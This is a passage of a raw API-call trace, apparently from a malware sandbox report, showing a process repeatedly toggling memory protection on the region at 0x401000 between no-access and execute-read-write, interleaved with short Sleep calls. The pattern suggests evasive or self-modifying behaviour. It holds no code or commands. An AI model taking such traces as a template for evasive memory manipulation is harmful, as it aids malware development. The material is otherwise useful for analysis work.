BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.304] Sleep (dwMilliseconds=0x5) [0134.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.352] Sleep (dwMilliseconds=0x5) [0134.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.399] Sleep (dwMilliseconds=0x5) [0134.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.492] Sleep (dwMilliseconds=0x5) [0134.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.538] Sleep (dwMilliseconds=0x5) [0134.544] Sleep (dwMilliseconds=0x5) [0134.561] Sleep (dwMilliseconds=0x5) [0134.575] Sleep (dwMilliseconds=0x5) [0134.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.603] Sleep (dwMilliseconds=0x5) [0134.610] Sleep (dwMilliseconds=0x5) [0134.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x2) returned 0x0 [0134.631] Sleep (dwMilliseconds=0x5) [0134.690] Sleep (dwMilliseconds=0x5) [0134.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.753] Sleep (dwMilliseconds=0x5) [0134.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.804] Sleep (dwMilliseconds=0x5) [0134.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.853] Sleep (dwMilliseconds=0x5) [0134.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.894] Sleep (dwMilliseconds=0x5) [0134.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0134.943] Sleep (dwMilliseconds=0x5) [0134.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.987] Sleep (dwMilliseconds=0x5) [0135.033] Sleep (dwMilliseconds=0x5) [0135.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.091] Sleep (dwMilliseconds=0x5) [0135.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.151] Sleep (dwMilliseconds=0x5) [0135.204] Sleep (dwMilliseconds=0x5) [0135.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.280] Sleep (dwMilliseconds=0x5) [0135.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.389] Sleep (dwMilliseconds=0x5) [0135.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.449] Sleep (dwMilliseconds=0x5) [0135.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.490] Sleep (dwMilliseconds=0x5) [0135.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.534] Sleep (dwMilliseconds=0x5) [0135.574] Sleep (dwMilliseconds=0x5) [0135.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.626] Sleep (dwMilliseconds=0x5) [0135.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0135.677] Sleep (dwMilliseconds=0x5) [0135.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.719] Sleep (dwMilliseconds=0x5) [0135.732] Sleep (dwMilliseconds=0x5) [0135.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.827] Sleep (dwMilliseconds=0x5) [0135.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.851] Sleep (dwMilliseconds=0x5) [0135.857] Sleep (dwMilliseconds=0x5) [0135.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.879] Sleep (dwMilliseconds=0x5) [0135.896] Sleep (dwMilliseconds=0x5) [0135.912] Sleep (dwMilliseconds=0x5) [0135.918] Sleep (dwMilliseconds=0x5) [0135.936] Sleep (dwMilliseconds=0x5) [0135.952] Sleep (dwMilliseconds=0x5) [0135.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0135.971] Sleep (dwMilliseconds=0x5) [0136.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.003] Sleep (dwMilliseconds=0x5) [0136.048] Sleep (dwMilliseconds=0x5) [0136.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.100] Sleep (dwMilliseconds=0x5) [0136.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.145] Sleep (dwMilliseconds=0x5) [0136.186] Sleep (dwMilliseconds=0x5) [0136.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.236] Sleep (dwMilliseconds=0x5) [0136.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.301] Sleep (dwMilliseconds=0x5) [0136.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.347] Sleep (dwMilliseconds=0x5) [0136.389] Sleep (dwMilliseconds=0x5) [0136.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.437] Sleep (dwMilliseconds=0x5) [0136.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.485] Sleep (dwMilliseconds=0x5) [0136.495] Sleep (dwMilliseconds=0x5) [0136.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.520] Sleep (dwMilliseconds=0x5) [0136.525] Sleep (dwMilliseconds=0x5) [0136.541] Sleep (dwMilliseconds=0x5) [0136.561] Sleep (dwMilliseconds=0x5) [0136.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.580] Sleep (dwMilliseconds=0x5) [0136.593] Sleep (dwMilliseconds=0x5) [0136.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.609] Sleep (dwMilliseconds=0x5) [0136.644] Sleep (dwMilliseconds=0x5) [0136.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.690] Sleep (dwMilliseconds=0x5) [0136.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.733] Sleep (dwMilliseconds=0x5) [0136.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.785] Sleep (dwMilliseconds=0x5) [0136.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.847] Sleep (dwMilliseconds=0x5) [0136.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0136.926] Sleep (dwMilliseconds=0x5) [0136.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0136.985] Sleep (dwMilliseconds=0x5) [0137.029] Sleep (dwMilliseconds=0x5) [0137.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.080] Sleep (dwMilliseconds=0x5) [0137.122] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.124] Sleep (dwMilliseconds=0x5) [0137.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.174] Sleep (dwMilliseconds=0x5) [0137.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.217] Sleep (dwMilliseconds=0x5) [0137.227] Sleep (dwMilliseconds=0x5) [0137.258] Sleep (dwMilliseconds=0x5) [0137.260] Sleep (dwMilliseconds=0x5) [0137.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.283] Sleep (dwMilliseconds=0x5) [0137.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.328] Sleep (dwMilliseconds=0x5) [0137.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.377] Sleep (dwMilliseconds=0x5) [0137.413] Sleep (dwMilliseconds=0x5) [0137.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.457] Sleep (dwMilliseconds=0x5) [0137.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.521] Sleep (dwMilliseconds=0x5) [0137.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.563] Sleep (dwMilliseconds=0x5) [0137.605] Sleep (dwMilliseconds=0x5) [0137.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.661] Sleep (dwMilliseconds=0x5) [0137.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.704] Sleep (dwMilliseconds=0x5) [0137.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.753] Sleep (dwMilliseconds=0x5) [0137.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0137.875] Sleep (dwMilliseconds=0x5) [0137.884] Sleep (dwMilliseconds=0x5) [0137.899] Sleep (dwMilliseconds=0x5) [0137.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.926] Sleep (dwMilliseconds=0x5) [0137.931] Sleep (dwMilliseconds=0x5) [0137.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.953] Sleep (dwMilliseconds=0x5) [0137.963] Sleep (dwMilliseconds=0x5) [0137.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0137.989] Sleep (dwMilliseconds=0x5) [0138.000] Sleep (dwMilliseconds=0x5) [0138.007] Sleep (dwMilliseconds=0x5) [0138.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.035] Sleep (dwMilliseconds=0x5) [0138.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.096] Sleep (dwMilliseconds=0x5) [0138.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.140] Sleep (dwMilliseconds=0x5) [0138.172] Sleep (dwMilliseconds=0x5) [0138.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.218] Sleep (dwMilliseconds=0x5) [0138.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.270] Sleep 